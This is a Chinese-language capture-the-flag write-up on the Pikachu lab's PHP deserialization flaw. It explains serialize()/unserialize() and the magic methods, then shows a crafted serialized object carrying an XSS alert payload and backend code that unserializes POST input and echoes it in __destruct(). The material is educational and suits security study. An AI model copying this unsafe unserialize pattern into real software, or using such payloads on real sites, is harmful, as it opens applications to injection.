【web-ctf】ctf-pikachu-php反序列化漏洞

php反序列化漏洞

序列化：serialize()
序列化说通俗点就是把一个对象变成可以传输的字符串

class S{
    public $test="pikachu";
}
$s=new S(); //创建一个对象
serialize($s); //把这个对象进行序列化
序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
	O:代表object
	1:代表对象名字长度为一个字符
	S:对象的名称
	1:代表对象里面有一个变量
	s:数据类型
	4:变量名称的长度
	test:变量名称
	s:数据类型
	7:变量值的长度
	pikachu:变量值

反序列化：unserialize()
就是把被序列化的字符串还原为对象，然后在接下来的代码中继续使用。

$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
echo $u->test; //得到的结果为pikachu

序列化和反序列化本身没有问题，但是如果

1. 反序列化的内容是用户可以控制的
2. 且后台不正当的使用了PHP中的魔法函数

就会导致安全问题

常见的几个魔法函数:

__construct() 当一个对象创建时被调用

__destruct() 当一个对象销毁时被调用

__toString() 当一个对象被当作一个字符串使用

__sleep() 在对象在被序列化之前运行

__wakeup() 将在序列化之后立即被调用

漏洞举例

1. 自己写一个类，此类别名需要和后台类别名一致，以至于可以被反序列化。

# 自己写一个类（包含payload）并进行序列化
class S{
    var $test = "<script>alert('xss')</script>";
}
$a = new S();
echo serialize($a)
得到一个含payload的序列化的对象
payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

2. 后台对序列化的对象进行反序列化时，需要创建和销毁对象，此时就需要调用__destruct()函数，打印出test变量的内容，而传过来的test变量内容为恶意代码，这样就导致了反序列化漏洞。

# 后台代码
class S{
    var $test = "pikachu";
    function __destruct(){
        echo $this->test;
    }
}
$s = $_POST['o'];
@$unser = unserialize($s);

3. 将payload内容填入框中，页面弹窗，表示攻击成功
   

总结

黑盒测试和扫描很难发现php反序列化漏洞，一般要通过代码审计的方式。